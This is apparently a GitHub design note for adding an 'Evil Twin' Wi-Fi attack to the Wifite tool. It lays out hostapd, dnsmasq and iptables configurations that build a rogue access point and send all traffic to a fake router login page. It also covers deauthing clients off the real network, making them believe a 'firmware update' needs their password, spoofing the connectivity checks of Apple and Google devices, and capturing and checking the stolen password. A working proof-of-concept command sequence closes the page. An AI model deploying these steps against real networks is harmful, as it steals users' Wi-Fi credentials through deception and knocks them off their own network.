Skip to content

Latest commit

 

History

History
386 lines (256 loc) · 12.9 KB

EVILTWIN.md

File metadata and controls

386 lines (256 loc) · 12.9 KB

An idea from Sandman: Include "Evil Twin" attack in Wifite.

This page tracks the requirements for such a feature.

Evil Twin

Fluxion is a popular example of this attack.

The attack requires multiple wireless cards:

  1. Hosts the twin.
  2. Deauthenticates clients.

As clients connect to the Evil Twin, they are redirected to a fake router login page.

Clients enter the password to the target AP. The Evil Twin then:

  1. Captures the Wifi password,
  2. Verifies Wifi password against the target AP,
  3. If valid, all clients are deauthed from Evil Twin so they re-join the target AP.
  4. Otherwise, tell the user the password is invalid and to "try again". GOTO step #1.

Below are all of the requirements/components that Wifite would need for this feature.

DHCP

We need to auto-assign IP addresses to clients as they connect (via DHCP?).

DNS Redirects

All DNS requests need to redirect to the webserver:

  1. So we clients are encouraged to login.
  2. So we can intercept health-checks by Apple/Google

Rogue AP, Server IP Address, etc

Probably a few ways to do this in Linux; should use the most reliable & supported method.

Mainly we need to:

  1. Spin up the Webserver on some port (8000)
  2. Start the Rogue AP
  3. Assign localhost on port 8000 to some subnet IP (192.168.1.254)
  4. Start DNS-redirecting all hostnames to 192.168.1.254.
  5. Start DHCP to auto-assign IPs to incoming clients.
  6. Start deauthing clients of the real AP.

I think steps 3-5 can be applied to a specific wireless card (interface).

  • TODO: More details on how to start the fake AP, assign IPs, DHCP, DNS, etc.
    • Fluxion using hostapd: code
    • Kali "Evil Wireless AP" (uses hostapd): article
    • Fluxion using airbase-ng: code
  • TODO: Should the Evil Twin spoof the real AP's hardware MAC address?
    • Yes, looks like that's what Fluxion does (code).

ROGUE AP

Gleaned this info from:

HOSTAPD

  • Starts access point.
  • Not included in Kali by-default.
  • Installable via apt-get install hostapd.
  • Docs

Config file format (e.g. ~/hostapd.conf):

driver=nl80211   # 'nl80211' appears in all hostapd tutorials I've found.
ssid=$EVIL_SSID  # SSID/name of Evil Twin (should match target's)
hw_mode=$BAND    # Wifi Band, e.g. "g" or "g+n"
channel=$CHANNEL # Numeric, e.g. "6'

Run:

hostapd ~/hostapd.conf -i wlan0

DNSMASQ

Config file format (e.g. ~/dnsmasq.conf):

interface=wlan0
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
#no-resolv
server=8.8.8.8
log-queries
log-dhcp

# Redirect all requests (# is wildcard) to IP of evil web server:
# TODO: We should rely on iptables, right? Otherwise this redirects traffic from all ports...
#address=/#/192.168.1.254

"DNS Entries" file format (~/dns_entries):

[DNS Name] [IP Address]
# TODO: Are wildcards are supported?
* 192.168.1.254 # IP of web server

Run:

dnsmasq -C ~/dnsmasq.conf -H ~/dns_entries

IPTABLES

From this thread on raspberrypi.org

Use iptables to redirect all traffic directed at port 80 to the http server on the Pi sudo iptables -t nat -A PREROUTING -d 0/0 -p tcp –dport 80 -j DNAT –to 192.168.1.254:80

And from Andreas Wiese on UnixExchange

You could get this with a small set of iptables rules redirecting all traffic to port 80 and 443 your AP's address: # iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination localhost:80 # iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination localhost:80

TODO:

  • What about HTTPS traffic (port 443)?
    • We want to avoid browser warnings (scary in Chrome & Firefox).
    • Don't think we can send a 302 redirect to port 80 without triggering the invalid certificate issue.
    • sslstrip may get around this...

DEAUTHING

While hosting the Evil Twin + Web Server, we need to deauthenticate clients from the target AP so they join the Evil Twin.

Listening

We need to listen for more clients and automatically start deauthing new clients as they appear.

This might be supported by existing tools...

MDK

Deauthing & DoS is easy to do using MDK or aireplay-ng.

I think MDK is a better tool for this job, but Wifite already requires the aircrack suite, so we should support both.

TODO: Require MDK if it is miles-ahead of aireplay-ng TODO: Figure out MDK commands for persistent deauths; if we can provide a list of client MAC addresses & BSSIDs.

Website

Router Login Pages

These are different for every vendor.

Fluxion has a repo with fake login pages for a lot of popular router vendors (FluxionNetwork/sites). That repo includes sites in various languages.

We need just the base router page HTML (Title/logo) and CSS (colors/font) for popular vendors.

We also need a "generic" login page in case we don't have the page for a vendor.

  1. Web server to host HTML, images, fonts, and CSS that the vendor uses.
  2. Javascript to send the password to the webserver

Language Support

Note: Users should choose the language to host; they know better than any script detection.

Each router page will have a warning message telling the client they need to enter the Wifi password:

  • "Password is required after a router firmware update"

The Login page content (HTML/images/css) could be reduced to just the logo and warning message. No navbars/sidebars/links to anything else.

Then only the warning message needs to be templatized by-language (we only need one sentence per language).

That would avoid the need for separate "sites" for each Vendor and language.

But we probably need other labels to be translated as well:

  • Title of page ("Router Login Page")
  • "Password:"
  • "Re-enter Password:"
  • "Reconnect" or "Login"

...So 5 sentences per language. Not bad.

The web server could send a Javascript file containing the language variable values:

document.title = 'Router Login';
document.querySelector('#warn').textContent('You need to login after router firmware upgrade.');
document.querySelector('#pass').textContent('Password:');
// ...

One HTML File

We can compact everything into a single HTML file:

  1. Inline CSS
  2. Inline images (base64 image/jpg)
  3. Some placeholders for the warning message, password label, login button.

This would avoid the "lots of folders" problem; one folder for all .html files.

E.g. ASUS.html can be chosen when the target MAC vendor contains ASUS.

AJAX Password Submission

The website needs to send the password to the webserver, likely through some endpoint (e.g. ./login.cgi?password1=...&password2=...).

Easy to do in Javascript (via a simple <form> or even XMLHttpRequest).

Webserver

The websites served by the webserver is dynamic and depends on numerous variables.

We want to utilize the CGIHTTPServer in Python which would make some the logic easier to track.

Spoofing Health Checks

Some devices (Android, iOS, Windows?) verify the AP has an internet connection by requesting some externally-hosted webpage.

We want to spoof those webpages exactly so the client's device shows the Evil Twin as "online".

Fluxion does this here (called "Connectivity Responses").

Specifically in the lighttpd.conf here.

Requirements:

  • Webserver detects requests to these health-check pages and returns the expected response (HTML, 204, etc).

TODO: Go through Fluxion to know hostnames/paths and expected responses for Apple & Google devices.

HTTPS

What if Google, Apple requires HTTPS? Can we spoof the certs somehow? Or redirect to HTTP?

Spoofing Router Login Pages

We can detect the router vendor based on the MAC address.

If we have a fake login page for that vendor, we serve that.

Otherwise we serve a generic login page.

TODO: Can we use macchanger to detect vendor, or have some mapping of BSSID_REGEX -> HTML_FILE?

Password Capture

Webserver needs to know when a client enters a password.

This can be accomplished via a simple CGI endpoint or Python script.

E.g. login.cgi which reads password1 and password2 from the query string.

Password Validation

The Webserver needs to know when the password is valid.

This requires connecting to the target AP on an unused wireless card:

  1. First card is hosting the webserver. It would be awkward if that went down.
  2. Second card is Deauthing clients. This could be 'paused' while validating the password, but that may allow clients to connect to the target AP.
  3. ...A third wifi card may make this cleaner.

TODO: The exact commands to verify Wifi passwords in Linux; I'm guessing we have to use wpa_supplicant and the like. TODO: Choose the fastest & most-relaiable method for verifying wifi paswords

Evil Webserver & Deauth Communication

The access point hosting the Evil Twin needs to communicate with the Deauth mechanism:

  1. Which BSSIDs to point to the Evil Twin,
  2. Which BSSIDs to point to the real AP.

Since the webserver needs to run for the full length of th attack, we could control the state of the attack inside the webserver.

So the webserver would need to maintain:

  1. List of BSSIDs to deauth from real AP (so they join Evil Twin),
  2. List of BSSIDs to deauth from Evil Twin (so they join real AP),
  3. Background process which is deauthing the above BSSIDs on a separate wireless card.

I am not sure how feasible this is in Python; we could also resort to using static files to store the stage (e.g. JSON file with BSSIDs and current step -- e.g. "Shutting down" or "Waiing for password").

TODO: See if the CGIHTTPServer has some way we can maintain/alter background threads. TODO: See how hard it would be to maintain state in the CGIHTTPServer (do we have to use the filesystem?)

Success & Cleanup

When the password is found, we want to send a "success" message to the AJAX request, so the user gets instant feedback (and maybe a "Reconnecting..." message).

During shutdown, we need to deauth all clients from the Evil Twin so they re-join the real AP.

This deauthing should continue until all clients are deauthenticated from the Evil Twin.

Then the script can be stopped.

Proof of Concept

Start AP and capture all port-80 traffic:

ifconfig wlan0 10.0.0.1/24 up

# start dnsmasq for dhcp & dns resolution (runs in background)
killall dnsmasq
dnsmasq -C dnsmasq.conf

# reroute all port-80 traffic to our machine
iptables -N internet -t mangle
iptables -t mangle -A PREROUTING -j internet
iptables -t mangle -A internet -j MARK --set-mark 99
iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m mark --mark 99 -j REJECT
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# start wifi access point (new terminal)
killall hostapd
hostapd ./hostapd.conf -i wlan0

# start webserver on port 80 (new terminal)
python -m SimpleHTTPServer 80

Cleanup:

# stop processes
# ctrl+c hostapd
# ctrl+c python simple http server
killall dnsmasq

# reset iptables
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X